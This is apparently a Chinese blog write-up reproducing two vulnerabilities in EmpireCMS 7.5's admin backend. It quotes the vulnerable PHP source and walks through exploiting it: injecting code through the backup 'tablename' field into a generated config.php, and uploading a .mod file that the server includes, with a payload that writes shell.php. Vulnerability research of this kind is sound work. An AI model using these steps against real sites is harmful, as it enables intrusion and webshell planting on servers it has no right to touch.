• 帝国7.5漏洞复现


    0x01 代码执行

    问题出在数据备份然后可以代码执行

    抓包可以看到请求的php文件为/e/admin/ebak/phome.php,这里来看下代码

    获取phome参数内容为DoEbak

    跟踪过来

    继续跟踪Ebak_DoEbak函数

    function Ebak_DoEbak($add,$userid,$username){
    	global $empire,$public_r,$fun_r,$ecms_config;
    	//验证权限
    	CheckLevel($userid,$username,$classid,"dbdata");
    	$dbname=RepPostVar($add['mydbname']);	//$dbname = empirecms
    	if(empty($dbname)){
    		printerror("NotChangeDbname","history.go(-1)");
    	}
    	$tablename=$add['tablename'];
    	$count=count($tablename);
    	if(empty($count)){
    		printerror("MustChangeOneTable","history.go(-1)");
    	}
    	$add['baktype']=(int)$add['baktype'];
    	$add['filesize']=(int)$add['filesize'];
    	$add['bakline']=(int)$add['bakline'];
    	$add['autoauf']=(int)$add['autoauf'];
    	if((!$add['filesize']&&!$add['baktype'])||(!$add['bakline']&&$add['baktype'])){
    		printerror("FileSizeEmpty","history.go(-1)");
    	}
    	//目录名
    	$add['mypath']=RepPostStr($add['mypath'],1);
    	$bakpath=$public_r['bakdbpath'];
    	if(empty($add['mypath'])){
    		$add['mypath']=$dbname."_".date("YmdHis");
    	}
        DoMkdir($bakpath."/".$add['mypath']);
    	//生成说明文件
    	$readme=$add['readme'];
    	$rfile=$bakpath."/".$add['mypath']."/readme.txt";
    	$readme.="
    
    Baktime: ".date("Y-m-d H:i:s");
    	WriteFiletext_n($rfile,$readme);
    
    	$b_table="";
    	$d_table="";
    	for($i=0;$i<$count;$i++){
    		$tablename[$i]=RepPostVar($tablename[$i]);
    		$b_table.=$tablename[$i].",";
    		$d_table.="$tb[".$tablename[$i]."]=0;
    ";
        }
    	//去掉最后一个,
    	$b_table=substr($b_table,0,strlen($b_table)-1);
    	$bakstru=(int)$add['bakstru'];
    	$bakstrufour=(int)$add['bakstrufour'];
    	$beover=(int)$add['beover'];
    	$waitbaktime=(int)$add['waitbaktime'];
    	$bakdatatype=(int)$add['bakdatatype'];
    	if($add['insertf']=='insert'){
    		$insertf='insert';
    	}
    	else{
    		$insertf='replace';
    	}
    	if($ecms_config['db']['dbver']=='4.0'&&$add['dbchar']=='auto')
    	{
    		$add['dbchar']='';
    	}
    	$string="<?php
    	$b_table="".$b_table."";
    	".$d_table."
    	$b_baktype=".$add['baktype'].";
    	$b_filesize=".$add['filesize'].";
    	$b_bakline=".$add['bakline'].";
    	$b_autoauf=".$add['autoauf'].";
    	$b_dbname="".$dbname."";
    	$b_stru=".$bakstru.";
    	$b_strufour=".$bakstrufour.";
    	$b_dbchar="".addslashes($add['dbchar'])."";
    	$b_beover=".$beover.";
    	$b_insertf="".addslashes($insertf)."";
    	$b_autofield=",".addslashes($add['autofield']).",";
    	$b_bakdatatype=".$bakdatatype.";
    	?>";
    	$cfile=$bakpath."/".$add['mypath']."/config.php";
    	WriteFiletext_n($cfile,$string);
    	if($add['baktype']){
    		$phome='BakExeT';
    	}
    	else{
    		$phome='BakExe';
    	}
    	echo $fun_r['FirstBakSuccess']."<script>self.location.href='phome.php?phome=$phome&t=0&s=0&p=0&mypath=$add[mypath]&waitbaktime=$waitbaktime".hReturnEcmsHashStrHref(0)."';</script>";
    	exit();
    }
    

    我们一步步来看

    &mydbname=empirecms
    首先是获取post包里的mydbname赋值给$dbname,如果为空就返回失败,然后就是获取这个数量

    然后就是获取名字,这个就是保存备份的文件夹名跟踪一下RepPostStr

    可以看到做了过滤这里就没法利用继续看下去

    跟一下WriteFiletext_n函数

    可以看到写入内容给readme.txt文件这里就是生成了一个说明文件打开看一下

    然后就是把数据包里的tablename全部赋值过来

    然后就写入config.php里面

    但是没有对其添加双引号,我们先看一下正常的文件

    所以我们把tablename内容改为phpinfo()

    先看下本地

    然后把readme.txt改为config.php

    0x02 上传+文件包含

    先随便上传一个文件

    请求了/e/admin/ecmsmod.php文件

    先获取了enews值

    跟踪一下LoadInMod函数

    //导入系统模型
    function LoadInMod($add,$file,$file_name,$file_type,$file_size,$userid,$username){
    	global $empire,$dbtbpre,$ecms_config;
    	//验证权限
    	CheckLevel($userid,$username,$classid,"table");
    	$tbname=RepPostVar(trim($add['tbname']));
    	if(!$file_name||!$file_size||!$tbname)
    	{
    		printerror("EmptyLoadInMod","");
    	}
    	//扩展名
    	$filetype=GetFiletype($file_name);
    	if($filetype!=".mod")
    	{
    		printerror("LoadInModMustmod","");
    	}
    	//表名是否已存在
    	$num=$empire->gettotal("select count(*) as total from {$dbtbpre}enewstable where tbname='$tbname' limit 1");
    	if($num)
    	{
    		printerror("HaveLoadInTb","");
    	}
    	//上传文件
    	$path=ECMS_PATH."e/data/tmp/mod/uploadm".time().make_password(10).".php";
    	$cp=@move_uploaded_file($file,$path);
    	if(!$cp)
    	{
    		printerror("EmptyLoadInMod","");
    	}
    	DoChmodFile($path);
    	@include($path);
    	UpdateTbDefMod($tid,$tbname,$mid);
    	//公共变量
    	TogSaveTxtF(1);
    	GetConfig(1);//更新缓存
    	//生成模型表单文件
    	$modr=$empire->fetch1("select mtemp,qmtemp,cj from {$dbtbpre}enewsmod where mid='$mid'");
    	ChangeMForm($mid,$tid,$modr[mtemp]);//更新表单
    	ChangeQmForm($mid,$tid,$modr[qmtemp]);//更新前台表单
    	ChangeMCj($mid,$tid,$modr[cj]);//采集表单
    	//删除文件
    	DelFiletext($path);
    	//操作日志
    	insert_dolog("tid=$tid&tb=$tbname<br>mid=$mid");
    	printerror("LoadInModSuccess","db/ListTable.php".hReturnEcmsHashStrHref2(1));
    }
    

    先获取tbname参数内容,就是我们输入的导入表名

    然后判断是否为mod后缀

    再判断是否存在
    接下来就是处理上传文件

    可以看到include包含了一次

    然后就很简单了我们上传test.php.mod

    file_put_contents("shell.php","<?php phpinfo(); ?>");
    
    

  • 相关阅读:
    Java8新特性
    为什么要使用ORM技术?和 JDBC 有何不一样?
    HTTP Status 500
    重装Oracle时出现SID已存在问题的解决办法
    数据库模式显示的Swing表格
    自然连接和等值连接
    雷林鹏分享:Java 循环结构
    雷林鹏分享:Java 运算符
    雷林鹏分享:Java 修饰符
    雷林鹏分享:Java 变量类型
  • 原文地址:https://www.cnblogs.com/yicunyiye/p/13721345.html
Copyright © 2020-2023  润新知